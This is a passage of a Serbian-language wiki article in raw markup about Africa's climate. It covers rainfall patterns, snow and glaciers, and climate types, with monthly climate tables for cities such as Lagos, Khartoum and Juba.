planinskih venaca smanjuje uticaj vertikalnog snižavanja temperature usled porasta nadmorske visine. Takav uticaj izražen je samo u istočnoj, jugoistočnoj i delimično južnoj Africi. == Raspored padavina == Količina padavina na afričkom kontinentu značajno varira od [[regija|regije]] do regije. Najveći uticaj na to imaju raspored atmosferskog pritiska, raspored reljefa i pravac vlažnih, odnosno suvih vazdušnih masa. Najveću količinu padavina u Africi primaju [[ekvator]]ijalni delovi na pravcu jugozapadnih [[monsun]]a. Najmanje padavina zabeleženo je u pustinjskim predelima oko [[povratnik]]a. Ekstremne vrednosti kišnog taloga prikazane su u tabeli: <center> {| class="wikitable" style="text-align:left;" |- ! style="width:200px; text-align:center;"| Vrednost ! style="width:100px; text-align:center;"| Padav. (mm)<ref name="meteorological1"/> ! style="width:170px; text-align:center;"| Mesto<ref name="autogenerated1"/> ! style="width:150px; text-align:center;"| Datum |- || Maksimum [[padavine|padavina]] || <center>'''10.287'''</center> || [[Debundža]]<ref>[http://weather.aol.com/2014/03/31/the-worlds-wettest-places/11 The World's Wettest Places Debundscha, Cameroon]</ref> {{flagcountry|KMR}} || 32 godine |- || Minimum [[padavine|padavina]] || <center>'''2,4'''</center> || [[Vadi Halfa]] {{flagcountry|SUD}} || 39 godina |} </center> [[Datoteka:Africa Precipitation Map-sr.svg|250px|mini|desno|Raspored padavina u Africi]] Ispod 100&nbsp;mm kiše godišnje padne u Sahari. Zimi se u priobalju izlučuje izvesna količina padavina, dok leti ono skoro u potpunosti odsustvuju. Zbog nadmorske visine i upravnog položaja prema zapadnim vetrovima u zimskom periodu Atlaske planine primaju i do 1.000 [[milimetar]]a tokom godine. Visina taloga smanjuje se prema južnim padinama u unutrašnjosti [[Alžir]]a, gde opada na oko 200&nbsp;mm. U središtu Sahare postoje oblasti u kojima padne manje od 2–3&nbsp;mm godišnje. [[Suša|Sušni]] period traje od 200-300 dana. [[Sudan (regija)|Sudanska regija]] prima od 100 do 400 milimetara godišnje. Količina taloga povećava se prema jugu. U [[Sahel]]u padne do 1&nbsp;cm taloga. Južnije prema ekvatoru padavine postepeno rastu. Sušni period na severu traje do 200 dana, dok se u južnim delovima regije smanjuje na oko 100 dana. Najveća količina padavina izluči se tokom leta. [[Gvineja (region)|Gvinejska regija]] i priobalje su najkišovitija oblast Afrike. Velike količine padavina donosi vlažni jugozapadni monsun. Prosečna visina taloga kreće se od 1.500-3.000&nbsp;mm, a najviše se izluči u priobalju [[Kamerun]]a ([[Debundža]], preko 10.000&nbsp;mm) i u južnim podgorinama planine [[Futa Džalon]]. Sušni period traje maksimamalno 100 dana. U basenu [[Kongo (reka)|Konga]] i okolnim uzvišenjima padavine se smanjuju od severa ka jugu. U severnim delovima padne od 1.000 do 2.000 milimetara, a sušni period traje do 100 dana. Južni deo kongoanske kotline i doline [[Zambezi]]ja prima od 1.500 do 1.000 milimetara. Sezonski karakter je oštro izražen i sušno doba povećava se od 100 na 200 dana. [[Etiopska visoravan|Etiopska visija]] zbog svoje nadmorske visine prima od 1.000 do 1.500 milimetara taloga (u središnjim delovima i do 2.000). U [[Somalija|Somaliji]] je količina kiše mala, od 50–100&nbsp;mm, a u pobrđu do 500&nbsp;mm. Najsušniji je istočni predeo [[Adenski zaliv|Adenskog zaliva]] koji ima pustinjski karakter. Sušna sezona traje 5-7 meseci. Istočnoafrička visoravan i jezera imaju raznovrstan raspored padavina. Prosečno ova regija prima oko 1.000&nbsp;mm, najviše oko jezera [[Viktorijino jezero|Viktorija]]. Severni deo prima najviše taloga u jesen i proleće, a južni deo tokom leta južne hemisfere (u julu). Od ekvatora prema jugu sušni period se produžava od 200 do 250 dana, dok se ka severu kreću od 2-3 meseca. Padavine u južnoj Africi smanjuju se od zapada ka istoku. Najviše taloga padne u jugoistočnom priobalju [[Drakenske planine|Drakenskih planina]] (500-1.000&nbsp;mm). Sušni period traje oko tri [[mesec]]a. Zbog sušnoh kontinentalnog pasata i pravca pružanja obale u jugozapadnoj Africi formirao se pojas pustinja ([[Namib]]), gde je količina kiše na godišnjem nivou manja od 100 milimetara. Sušni period traje tokom cele godine. U [[Kalahari]]ju se količina padavina smanjuje od istoka prema zapadu sa 500 na oko 100&nbsp;mm. Južno od ovog basena je prostor visoravni Karu i Kapskih planina, koji prima prosečno do 500 milimetara taloga. Jugozapadne padine mestimično primaju i do 100 centimetra kiše. Na [[Madagaskar]]u je raspored padavina sličan kao u južnoj Africi. Zapadne oblasti koje se nalaze puravno na pravac kretanja juhoistočnog pasata primaju do 3.000 milimetara godišnje. Prema istoku u podnožju planinskih strana padavine se smanjuju na 1.500 mim, dok na zapadnoj obali opadaju do 500 milimetara. Sušni period se povećava ka istoku od 0 do 200 dana. === Sneg i glacijacija === [[Snijeg|Snežne padavine]] u Africi su veoma retke. Sezonski se javljaju na najvišim vencima u istočnom delu kontinenta na jezerskoj visoravni, a povremeno na Drakenskim, Atlaskim i Saharskih planinama. Snežni pokrivač zadržava se iznad granice od 4.500 do 5.000 metara ([[Kilimandžaro]] — 4.800 m, [[Kenija]] i [[Ruvenzori]] — 4.600 m). Tokom zime, sneg ponekad pada u severnom priobalnom delu Sahare. {| class="wikitable" style="margin:auto; width:83%;" |- !width=33%| '''[[Kilimandžaro]]''' !width=33%| '''[[Ruvenzori]]''' !width=33%| '''[[Kenija (planina)|Kenija]]''' |- | <center>Erou, Baleto, Baranko, Kredner, Deken, Dajmond, Drigalski, Istern ajs, Furtvengler, Hajm, Kersten, Racel, Rebman</center> | <center>Spik, Elena, Stenli, Bejker</center> | <center>Mister Ali Sezar, Dajmond, Darvin, Forel, Gregori, Hajm, Jozef, Kraf, Luis, Norti, Tindal</center> |} Na tri najviše planine Afrike — Ruvenzoriju, Keniji i Kilimandžaro, postoje stalni [[lednik|lednici]]. U prošlosti je mnogo veći prostor bio zahvaćen [[glacijacija|glacijacijom]], ali se on smanjio zbog otopljenja klime. Centri [[pleistocen]]e glacijacije bili su na [[Atlas (planine)|Atlasu]], Ahagaru, Tibestiju, Etiopskoj visoravni i Drakenskim planinama. Danas je najveći centar ledničkih formacija Kilimandžaro, sa kojeg se spušta ukupno trinaest [[lednik|glečera]]<ref>[http://pubs.usgs.gov/pp/p1386g/africa.pdf http://pubs.usgs.gov/pp/p1386g/africa.pdf Glaciers in Africa]</ref><ref>[http://news.nationalgeographic.com/news/2008/03/080325-africa-glaciers.html "Mountains of the Moon" Glaciers Melting in Africa]</ref>. == Klimatski tipovi == Mnogobrojni [[klimatski elementi]] uticali su na obrazovanje klimata na afričkom kontinentu. Specifični položaj i ekvator koji preseca [[Afrika|Afriku]] skoro po sredini doveli su do toga da se i na severnom i na južnoj polovini podjednako razviju određeni tipovi. Svi klimati ponavljaju se po dva puta. Izdvajaju se četiri osnovna — ekvatorijalni, subekvatorijalni, tropski i suptropski, u okviru kojih se javljaju određeni podtipovi. Na planinama višim od 4.000 metara može se izdvojiti planinski klimat. === Ekvatorijalna klima === [[Datoteka:Stadsaanzichten f.JPG|220px|mini|desno|Mbandaka, DR Kongo]] Ovaj klimatski tip obuhvata prostor basena Konga i Gvinejskog priobalja između 5° sgš i 5° jgš. Osnovne odlike ekvatorijane klime Afrike su visoke temperature (22-26&nbsp;°C), male godišnje amplitude (1-3 stepena) i velika količina padavina tokom cele godine (1.500 do 3.000&nbsp;mm). Prema prodoru [[vazduh|vazdušnih]] masa u ove oblasti, [[ekvatorijalna klima|ekvatorijalni klimat]] deli se na dva tipa: ''kontinentalni'' i ''atlantski''. ==== Kontinentalni tip ==== [[Kontinent]]alni tip karakterističan je za oblast basena Konga. Na klimu utiču jugoistočni i severoistočni [[pasati]] i njihova smena tokom godine. Zbog izdizanja vazdušnih masa i intenzivnog zagrevanja, padavine se izlučuju tokom cele godine. Tipičan predstavnik klimata je [[Mbandaka]] u [[Demokratska Republika Kongo|DR Kongu]] (prosečna godišnja temperatura 25&nbsp;°C, a količina padavina 1.600&nbsp;mm). {{Klima_grada |Lokacija=[[Mbandaka|Mbandaku]] |Izvor=<ref>[http://en.climate-data.org/location/517120/ Climate: Mbandaka]</ref> | Jan_sr= | Jan_sr_pad=80 | Feb_sr= | Feb_sr_pad=100 | Mar_sr= | Mar_sr_pad=150 | Apr_sr= | Apr_sr_pad=140 | Maj_sr= | Maj_sr_pad=130 | Jun_sr= | Jun_sr_pad=110 | Jul_sr= | Jul_sr_pad=100 | Avg_sr= | Avg_sr_pad=100 | Sep_sr= | Sep_sr_pad=200 | Okt_sr= | Okt_sr_pad=210 | Nov_sr= | Nov_sr_pad=190 | Dec_sr= | Dec_sr_pad=120 | God_sr= | God_sr_pad=1630 | Jan_sr_min=19 | Jan_sr_maks=31 | Feb_sr_min=20 | Feb_sr_maks=32 | Mar_sr_min=20 | Mar_sr_maks=32 | Apr_sr_min=20 | Apr_sr_maks=31 | Maj_sr_min=20 | Maj_sr_maks=31 | Jun_sr_min=19 | Jun_sr_maks=30 | Jul_sr_min=17 | Jul_sr_maks=30 | Avg_sr_min=17 | Avg_sr_maks=29 | Sep_sr_min=19 | Sep_sr_maks=30 | Okt_sr_min=19 | Okt_sr_maks=30 | Nov_sr_min=19 | Nov_sr_maks=30 | Dec_sr_min=19 | Dec_sr_maks=30 | God_sr_min=19 | God_sr_maks=30.5 |}} ==== Atlantski tip ==== [[Atlantski okean|Atlantski]] tip osoben je za [[Gvinejski zaliv|Gvinejsko priobalje]] i [[Kamerun]]. Na klimu utiču veoma vlažni jugozapadni [[monsun]]i koji donose padavine tokom cele godine (i do 10.000&nbsp;mm). Tipičan predstavnik ovog klimata je [[Debundža]] u Kamerunu (prosečna godišnja temperatura oko 27° [[Stepen celzijusa|Celzijusa]], a količina padavina oko 3.000&nbsp;mm). {{Klima_grada |Lokacija=[[Debundža|Debundžu]] |Izvor=<ref>[http://www.worldweatheronline.com/Debundscha-weather-averages/Sud-Ouest/CM.aspx Debundscha Monthly Climate Average, Cameroon]</ref> | Jan_sr= | Jan_sr_pad=27 | Feb_sr= | Feb_sr_pad=49.7 | Mar_sr= | Mar_sr_pad=114.1 | Apr_sr= | Apr_sr_pad=196.4 | Maj_sr= | Maj_sr_pad=226.8 | Jun_sr= | Jun_sr_pad=299.7 | Jul_sr= | Jul_sr_pad=439.8 | Avg_sr= | Avg_sr_pad=612.7 | Sep_sr= | Sep_sr_pad=494.9 | Okt_sr= | Okt_sr_pad=304.5 | Nov_sr= | Nov_sr_pad=137.9 | Dec_sr= | Dec_sr_pad=33 | God_sr= | God_sr_pad=2936.5 | Jan_sr_min=24 | Jan_sr_maks=32 | Feb_sr_min=25 | Feb_sr_maks=33 | Mar_sr_min=24 | Mar_sr_maks=33 | Apr_sr_min=24 | Apr_sr_maks=32 | Maj_sr_min=24 | Maj_sr_maks=32 | Jun_sr_min=23 | Jun_sr_maks=30 | Jul_sr_min=23 | Jul_sr_maks=29 | Avg_sr_min=23 | Avg_sr_maks=28 | Sep_sr_min=23 | Sep_sr_maks=29 | Okt_sr_min=23 | Okt_sr_maks=30 | Nov_sr_min=24 | Nov_sr_maks=31 | Dec_sr_min=24 | Dec_sr_maks=32 | God_sr_min=24 | God_sr_maks=31 |}} === Subekvatorijalna klima === [[Datoteka:Lagos Island.jpg|220px|mini|desno|Lagos, Nigerija]] Ovaj klimatski tip obuhvata na severnoj polulopti prostore severno od ekvatorijalnog pojasa — zaleđe [[Gvineja (region)|Gvinejske oblasti]], regiju [[Sudan (regija)|Sudan]] i Etiopsku visiju do približno 17° [[geografska širina|sgš]]. Kos Somalije se ova granica spušta na oko 10° gš zbog sušnijeg predela. Na južnoj polulopti, zoni pripada južni deo basena reke Kongo sa razvođem prema [[Kalahari]]ju do oko 20° [[geografska širina|jgš]]. Ovaj klimat naziva se još tropsko-monsunski, vlažno-tropski ili tropsko-savanski. Odlikuje se visokim temperaturama do 30&nbsp;°C, nešto većim amplitudama u odnosu na ekvatorijalnu oblast (3-6&nbsp;°C) i padavinama do 1.500 milimetara godišnje. Mogu se izdvojiti tri tipa — ''atlantski'', ''kontinentalni'' i ''indijski''. ==== Atlantski tip ==== Na sevenoj polulopti je Saharski maksimum leti iznad [[Sredozemno more|Mediterana]], što podoguje dubljem prodoru u kopno vlažnog jugozapadnog [[monsun]]a iz južnog dela [[Atlantski okean|Atlantika]]. U letnjim mesecima izluči se najveći deo padavina. Prosečne godišnje [[temperatura|temperature]] kreću se oko 30&nbsp;°C. Zimi se Saharski anticiklon premešta prema [[jug]]u u unutrašnjost pustinje i tada ka Gvinejskog obali duva suv kontinentlani pasat — [[harmatan]]. To doprinosi sprečavanju prodora jugozapadnih monsuna dublje u kopno i ublažavanju vlažnosti vazdušnih masa. U zimsko doba je sušni period sa nešto višim temperaturama. Ukupno godišnje padne oko 1.500&nbsp;mm taloga. {{Klima_grada |Lokacija=[[Lagos]] |Izvor=<ref>[http://worldweather.wmo.int/075/c00258.htm Weather Information for Lagos]</ref> | Jan_sr= | Jan_sr_pad=14.3 | Feb_sr= | Feb_sr_pad=42 | Mar_sr= | Mar_sr_pad=77.1 | Apr_sr= | Apr_sr_pad=142.4 | Maj_sr= | Maj_sr_pad=204.8 | Jun_sr= | Jun_sr_pad=312.2 | Jul_sr= | Jul_sr_pad=256.9 | Avg_sr= | Avg_sr_pad=112.4 | Sep_sr= | Sep_sr_pad=167.1 | Okt_sr= | Okt_sr_pad=135.8 | Nov_sr= | Nov_sr_pad=54 | Dec_sr= | Dec_sr_pad=19 | God_sr= | God_sr_pad=1538 | Jan_sr_min=22.3 | Jan_sr_maks=32.2 | Feb_sr_min=23.5 | Feb_sr_maks=33.1 | Mar_sr_min=23.8 | Mar_sr_maks=32.7 | Apr_sr_min=23.6 | Apr_sr_maks=32.1 | Maj_sr_min=23.1 | Maj_sr_maks=30.9 | Jun_sr_min=22.6 | Jun_sr_maks=29.2 | Jul_sr_min=22.1 | Jul_sr_maks=28.1 | Avg_sr_min=21.7 | Avg_sr_maks=28.9 | Sep_sr_min=21.9 | Sep_sr_maks=30.4 | Okt_sr_min=22.3 | Okt_sr_maks=31 | Nov_sr_min=22.6 | Nov_sr_maks=31.9 | Dec_sr_min=22.4 | Dec_sr_maks=30.7 | God_sr_min=22.6 | God_sr_maks=30.5 |}} ==== Kontinentalni tip ==== Na južnoj polulopti je u ovoj oblasti tokom [[januar]]a (leto te hemisfere) nizak pritisak što pogoduje prodoru vlažnih masa sa Atlantika (monusni). Vlažna sezona traje tokom celog toplijeg doba godine. Kada se ekvatorijlani [[vazduh]] u leto severne hemisfere premesti ka severu, na ovom delu preovlada jugoistočni suvi kontinentalni pasat koji donosi malo kiše i sušan period ([[jul]]-[[septembar]]). Temperature su oko 30° Celzijusa, sa padavinama nešto preko 1.300 milimetara. Tipičan predstavnik ovog klimata je [[Brazavil]] u [[Republika Kongo|Republici Kongo]]. {{Klima_grada |Lokacija=[[Brazavil]] |Izvor=<ref>[http://www.bbc.com/weather/2260535 Average Conditions Brazzaville, Congo]</ref> | Jan_sr= | Jan_sr_pad=135 | Feb_sr= | Feb_sr_pad=145 | Mar_sr= | Mar_sr_pad=196 | Apr_sr= | Apr_sr_pad=196 | Maj_sr= | Maj_sr_pad=159 | Jun_sr= | Jun_sr_pad=8 | Jul_sr= | Jul_sr_pad=3 | Avg_sr= | Avg_sr_pad=3 | Sep_sr= | Sep_sr_pad=30 | Okt_sr= | Okt_sr_pad=119 | Nov_sr= | Nov_sr_pad=222 | Dec_sr= | Dec_sr_pad=142 | God_sr= | God_sr_pad=1358 | Jan_sr_min=21 | Jan_sr_maks=31 | Feb_sr_min=21 | Feb_sr_maks=32 | Mar_sr_min=21 | Mar_sr_maks=33 | Apr_sr_min=22 | Apr_sr_maks=33 | Maj_sr_min=21 | Maj_sr_maks=32 | Jun_sr_min=18 | Jun_sr_maks=29 | Jul_sr_min=17 | Jul_sr_maks=28 | Avg_sr_min=18 | Avg_sr_maks=29 | Sep_sr_min=20 | Sep_sr_maks=31 | Okt_sr_min=21 | Okt_sr_maks=32 | Nov_sr_min=21 | Nov_sr_maks=31 | Dec_sr_min=21 | Dec_sr_maks=31 | God_sr_min=20 | God_sr_maks=31 |}} ==== Indijski tip ==== Ovaj tip je tokom leta severne hemisfere pod uticajem jugozapadnog monsuna sa [[Indijski okean|Indijskog okeana]] koji donosi kišu [[Etiopska visoravan|Etiopskoj visiji]] i okolini. Osim toga oseća se i uticaj ekvatorijalnog vazduha. Zimi je ovaj prostor zahvaćen kontinentalnim jugoistočnim suvim pasatom koji duva sa [[Arabijsko poluostrvo|Arabijskog poluostrva]]. [[Suša|Sušna]] sezona tada traje i do pet meseci. Prosečne temperature su nešto više nego u ostatku klimata (oko 34&nbsp;°C), a količina padavina je zbog dužeg perioda suše manja (oko 1.000&nbsp;mm). Tipičan predstavnik ovog podtipa je [[Džuba]] u [[Južni Sudan|Južnom Sudanu]]. {{Klima_grada |Lokacija=[[Džuba|Džubu]] |Izvor=<ref>{{Cite web |title=Weather Information for Juba |url=http://worldweather.wmo.int/085/c01541.htm |access-date=2015-02-17 |archive-date=2018-12-25 |archive-url=https://web.archive.org/web/20181225084408/http://worldweather.wmo.int/085/c01541.htm%20 }}</ref> | Jan_sr= | Jan_sr_pad=5.1 | Feb_sr= | Feb_sr_pad=11 | Mar_sr= | Mar_sr_pad=36.7 | Apr_sr= | Apr_sr_pad=11.5 | Maj_sr= | Maj_sr_pad=129.9 | Jun_sr= | Jun_sr_pad=117.8 | Jul_sr= | Jul_sr_pad=144.7 | Avg_sr= | Avg_sr_pad=127.5 | Sep_sr= | Sep_sr_pad=103.7 | Okt_sr= | Okt_sr_pad=114.5 | Nov_sr= | Nov_sr_pad=43.1 | Dec_sr= | Dec_sr_pad=8.2 | God_sr= | God_sr_pad=953.7 | Jan_sr_min=20.1 | Jan_sr_maks=36.8 | Feb_sr_min=21.7 | Feb_sr_maks=37.9 | Mar_sr_min=23.6 | Mar_sr_maks=37.7 | Apr_sr_min=23.4 | Apr_sr_maks=35.4 | Maj_sr_min=22.6 | Maj_sr_maks=33.5 | Jun_sr_min=21.9 | Jun_sr_maks=32.4 | Jul_sr_min=21.1 | Jul_sr_maks=31.1 | Avg_sr_min=21 | Avg_sr_maks=31.6 | Sep_sr_min=21.1 | Sep_sr_maks=33.1 | Okt_sr_min=21.3 | Okt_sr_maks=34 | Nov_sr_min=20.9 | Nov_sr_maks=34.7 | Dec_sr_min=20 | Dec_sr_maks=35.9 | God_sr_min=21.6 | God_sr_maks=34.5 |}} === Tropska klima === Tropski klimat zahvata prostore između 15° i 30° [[geografska širina|sgš]] na [[Severna hemisfera|severnoj polulopti]] i između 19° i 34° [[geografska širina|jgš]] na južnoj polulopti. Ovo je pojas suvih tropskih pasata, gde se izdvajaju oblasti [[pustinja]] i [[polupustinja]]. Osnovne odlike su visoka temperatura tokom godine (preko 35&nbsp;°C), sa nešto većim amplitudama, zatim mala [[vlažnost vazduha]] i mala količina padavina (do 250 milimetara). Mogu se izdvojiti tri tipa — ''atlantski'', ''kontinentalni'' i ''indijski''. ==== Atlantski tip ==== Atlantski tip obuhvata velika prostranstva severnog dela kontinenta iznad 15° gš i jugozapadni deo južnog dela kontinenta. Tu spadaju pustinjske oblasti [[Sahara|Sahare]], [[Libijska pustinja|Libijske]] i [[Istočna pustinja|Arabijske pustinje]] na severu i [[Namib]]a na jugu. Tokom leta severne hemisfere iznad Sahare je niži vazudšni pritisak. Anticiklon iznad [[Sredozemno more|Sredozemlja]] nema dovoljnu vlažnost da bi doneo padavine ovom podneblju, a zapadni vetrovi sa Atlantika nailaze na hladnu priobalnu [[Kanarska struja|Kanarsku struju]] i gube vlagu. Zimi je ovo prostor anticiklonalnog polja gde duvaju suvi kontinentalni pasati. Zračenje je veliko, oblačnost mala i [[isparavanje]] ogromno. Tipičan predstavnik klimata je Kartum u Sudanu (37° Celzijusa i 150&nbsp;mm padavina godišnje). {{Klima_grada |Lokacija=[[Kartum]] |Izvor=<ref>{{Cite web |title=Weather Information for Khartoum |url=http://worldweather.wmo.int/085/c00249.htm |access-date=2015-02-17 |archive-date=2017-02-06 |archive-url=https://web.archive.org/web/20170206080422/http://worldweather.wmo.int/085/c00249.htm }}</ref> | Jan_sr= | Jan_sr_pad=0 | Feb_sr= | Feb_sr_pad=0 | Mar_sr= | Mar_sr_pad=0 | Apr_sr= | Apr_sr_pad=0 | Maj_sr= | Maj_sr_pad=0.4 | Jun_sr= | Jun_sr_pad=4 | Jul_sr= | Jul_sr_pad=46.3 | Avg_sr= | Avg_sr_pad=75.2 | Sep_sr= | Sep_sr_pad=25.4 | Okt_sr= | Okt_sr_pad=4.8 | Nov_sr= | Nov_sr_pad=0.7 | Dec_sr= | Dec_sr_pad=0 | God_sr= | God_sr_pad=156.8 | Jan_sr_min=15.6 | Jan_sr_maks=29.8 | Feb_sr_min=17 | Feb_sr_maks=33 | Mar_sr_min=20.5 | Mar_sr_maks=36.8 | Apr_sr_min=23.6 | Apr_sr_maks=40.1 | Maj_sr_min=27.1 | Maj_sr_maks=41.9 | Jun_sr_min=27.3 | Jun_sr_maks=41.3 | Jul_sr_min=25.9 | Jul_sr_maks=38.4 | Avg_sr_min=25.3 | Avg_sr_maks=37.3 | Sep_sr_min=26 | Sep_sr_maks=39.1 | Okt_sr_min=25.5 | Okt_sr_maks=39.3 | Nov_sr_min=21 | Nov_sr_maks=35.2 | Dec_sr_min=17.1 | Dec_sr_maks=31.8 | God_sr_min=22.6 | God_sr_maks=37 |}} U jugozapadnom delu kontinenta nalazi se pustinja [[Namib]]. Ova oblast je pod uticajem suvi jugoistočnih pasata sa [[Indijski okean|Indijskog okeana]], koji sve padavine izluče na jugoistočnim podgorinama pa u kopno prodiru suve. Sa Atlantika paralelno sa obalskom crtom duva pasat koji prelati iznad hladne [[Benguelska struja|Benguelske struje]] i gubi vlagu udaljavajući se od tačke zasićenja. Zimi, u julu mesecu, ovde je polje visokog vazdušnog pritiska i duva suv kontinentalni pasat. Tipičan predstavnik je [[Valvis Bej]] u [[Namibija|Namibiji]]. Niže temperature su posledica hladne morske struje u priobalju. {{Klima_grada |Lokacija=[[Valvis Bej]] |Izvor=<ref>[http://www.meteona.com/attachments/035_Namibia_Long-term_Climate_Statistics_for_Specified_Places Tabulation of Climate Statistics for Selected Stations in Namibia]{{Dead link|date=November 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> | Jan_sr= | Jan_sr_pad=0.9 | Feb_sr= | Feb_sr_pad=1.4 | Mar_sr= | Mar_sr_pad=4.4 | Apr_sr= | Apr_sr_pad=0.4 | Maj_sr= | Maj_sr_pad=0.9 | Jun_sr= | Jun_sr_pad=1 | Jul_sr= | Jul_sr_pad=0 | Avg_sr= | Avg_sr_pad=0.2 | Sep_sr= | Sep_sr_pad=0.1 | Okt_sr= | Okt_sr_pad=0.2 | Nov_sr= | Nov_sr_pad=0.4 | Dec_sr= | Dec_sr_pad=0.1 | God_sr= | God_sr_pad=10 | Jan_sr_min=15.1 | Jan_sr_maks=20.4 | Feb_sr_min=14.4 | Feb_sr_maks=19.1 | Mar_sr_min=14.7 | Mar_sr_maks=20.4 | Apr_sr_min=12.6 | Apr_sr_maks=19.1 | Maj_sr_min=12.2 | Maj_sr_maks=19.6 | Jun_sr_min=11.1 | Jun_sr_maks=18.7 | Jul_sr_min=10.5 | Jul_sr_maks=18.3 | Avg_sr_min=9.9 | Avg_sr_maks=16.5 | Sep_sr_min=10.4 | Sep_sr_maks=15.7 | Okt_sr_min=11.6 | Okt_sr_maks=16.9 | Nov_sr_min=12.3 | Nov_sr_maks=17.6 | Dec_sr_min=14.1 | Dec_sr_maks=19.5 | God_sr_min=12.4 | God_sr_maks=18.5 |}} ==== Kontinentalni tip ==== Kontinentalni tip obuhvata prostor basena [[Kalahari]] u Namibiji, [[Bocvana|Bocvani]] i [[Južnoafrička Republika|JAR]]-u i visoravan [[Karu (visoravan)|Karu]]. Klimatske odlike i uticaji su slični kao u priobalnoj pustinji [[Namib]]. Zimi je pritisak visok, a leti duva jugoistočni pasat sa Indijskog okeana i donosi manju količinu padavina istočnim delovima. Tipičan predstavnik klimata je [[Ganzi]] u Bocvani (temperatura oko 31&nbsp;°C, a količina padavina do 420 milimetara). Za razliku od Valvis Beja ovde je temperatura viša zbog stepena kontinentalnosti. Prema jugu padavine se povećavaju i do 500 milimetara. {{Klima_grada |Lokacija=[[Ganzi]] |Izvor=<ref>[http://www.worldweatheronline.com/v2/weather-averages.aspx?q=GNZ Average Rainfall for GNZ, Ghanzi, Ghanzi, Botswana]</ref> | Jan_sr= | Jan_sr_pad=104.2 | Feb_sr= | Feb_sr_pad=81.9 | Mar_sr= | Mar_sr_pad=68.3 | Apr_sr= | Apr_sr_pad=22.6 | Maj_sr= | Maj_sr_pad=9 | Jun_sr= | Jun_sr_pad=1 | Jul_sr= | Jul_sr_pad=0 | Avg_sr= | Avg_sr_pad=1.5 | Sep_sr= | Sep_sr_pad=1.2 | Okt_sr= | Okt_sr_pad=24.6 | Nov_sr= | Nov_sr_pad=45 | Dec_sr= | Dec_sr_pad=61.3 | God_sr= | God_sr_pad=420.6 | Jan_sr_min=20 | Jan_sr_maks=33 | Feb_sr_min=19 | Feb_sr_maks=33 | Mar_sr_min=18 | Mar_sr_maks=32 | Apr_sr_min=14 | Apr_sr_maks=30 | Maj_sr_min=9 | Maj_sr_maks=28 | Jun_sr_min=6 | Jun_sr_maks=25 | Jul_sr_min=5 | Jul_sr_maks=25 | Avg_sr_min=8 | Avg_sr_maks=28 | Sep_sr_min=13 | Sep_sr_maks=32 | Okt_sr_min=17 | Okt_sr_maks=34 | Nov_sr_min=19 | Nov_sr_maks=34 | Dec_sr_min=20 | Dec_sr_maks=34 | God_sr_min=14 | God_sr_maks=31 |}} ==== Indijski tip ==== Indijski tip obuhvata polupustinjki predeo jugozapadnog [[Madagaskar]]a, polupustinju [[Rog Afrike|Somalijskog poluostrva]] i [[Afar (region)|Afarsku depresiju]] sa [[Danakilska pustinja|Danakilskom pustinjom]]. Odlikuje se dugim sušnim periodom, visokim temperaturama i malom količinom padavina. Madagaskar prima velike količine padavina na istočnim obalama. U središtu ostrva su visoke planine koje sprečavaju prodor vlažnih masa ka istoku. Kišu donosi jugoistočni pasat iz zapadne periferije južnoindijskog [[anticiklon]]a. Na jugozapadnom delu ostrva koje je zaklonjeno sa jedne strane visokim planinama ne prodiru vlažne mase, što ovoj oblasti daje aridne karakteristike. Tipičan predstavnik je grad [[Tulijara]] (oko 30&nbsp;°C, do 400&nbsp;mm padavina). {{Klima_grada |Lokacija=[[Tulijara|Tulijaru]] |Izvor=<ref>{{Cite web |title=Climate Statistics for Tulear (Toliara), Madagascar |url=http://www.theweathernetwork.com/forecasts/statistics/c01770 |access-date=2015-02-17 |archive-date=2021-04-13 |archive-url=https://web.archive.org/web/20210413014647/https://www.theweathernetwork.com/forecasts/statistics/c01770 }}</ref> | Jan_sr= | Jan_sr_pad=95 | Feb_sr= | Feb_sr_pad=89 | Mar_sr= | Mar_sr_pad=36 | Apr_sr= | Apr_sr_pad=18 | Maj_sr= | Maj_sr_pad=16 | Jun_sr= | Jun_sr_pad=15 | Jul_sr= | Jul_sr_pad=6 | Avg_sr= | Avg_sr_pad=6 | Sep_sr= | Sep_sr_pad=8 | Okt_sr= | Okt_sr_pad=12 | Nov_sr= | Nov_sr_pad=22 | Dec_sr= | Dec_sr_pad=97 | God_sr= | God_sr_pad=420 | Jan_sr_min=23 | Jan_sr_maks=32 | Feb_sr_min=23 | Feb_sr_maks=32 | Mar_sr_min=22 | Mar_sr_maks=32 | Apr_sr_min=20 | Apr_sr_maks=31 | Maj_sr_min=17 | Maj_sr_maks=29 | Jun_sr_min=15 | Jun_sr_maks=27 | Jul_sr_min=14 | Jul_sr_maks=27 | Avg_sr_min=15 | Avg_sr_maks=28 | Sep_sr_min=16 | Sep_sr_maks=29 | Okt_sr_min=19 | Okt_sr_maks=29 | Nov_sr_min=20 | Nov_sr_maks=30 | Dec_sr_min=22 | Dec_sr_maks=31 | God_sr_min=19 | God_sr_maks=30 |}} Afarska depresija i Somalijsko polustrvo su zimi pod uticajem suvog severoistočnog pasata iz [[Azija|Azije]], a leti ovde duva jugozapadni monsun paralelno sa obalskom linijom i ne donosi kiše. Afarska [[Depresija (geologija)|depresija]] sa Danakilskom pustinjom je 113 metara ispod nivoa [[more|mora]] i okružena je visokim planinama i [[brdo|pobrđima]] sa svih strana. Tipičan predstavnik je [[Berbera]] u [[Somalija|Somaliji]] (oko 35° Celzijusa i oko 50&nbsp;mm kišnog taloga) {{Klima_grada |Lokacija=[[Berbera|Berberu]] |Izvor=<ref>[http://www.bbc.com/weather/64435 "Average Conditions". BBC News Online]</ref> | Jan_sr= | Jan_sr_pad=8 | Feb_sr= | Feb_sr_pad=3 | Mar_sr= | Mar_sr_pad=5 | Apr_sr= | Apr_sr_pad=13 | Maj_sr= | Maj_sr_pad=8 | Jun_sr= | Jun_sr_pad=0 | Jul_sr= | Jul_sr_pad=0 | Avg_sr= | Avg_sr_pad=3 | Sep_sr= | Sep_sr_pad=0 | Okt_sr= | Okt_sr_pad=3 | Nov_sr= | Nov_sr_pad=5 | Dec_sr= | Dec_sr_pad=5 | God_sr= | God_sr_pad=53 | Jan_sr_min=20 | Jan_sr_maks=29 | Feb_sr_min=22 | Feb_sr_maks=29 | Mar_sr_min=23 | Mar_sr_maks=30 | Apr_sr_min=25 | Apr_sr_maks=32 | Maj_sr_min=27 | Maj_sr_maks=36 | Jun_sr_min=30 | Jun_sr_maks=42 | Jul_sr_min=31 | Jul_sr_maks=42 | Avg_sr_min=31 | Avg_sr_maks=41 | Sep_sr_min=29 | Sep_sr_maks=39 | Okt_sr_min=24 | Okt_sr_maks=33 | Nov_sr_min=22 | Nov_sr_maks=32 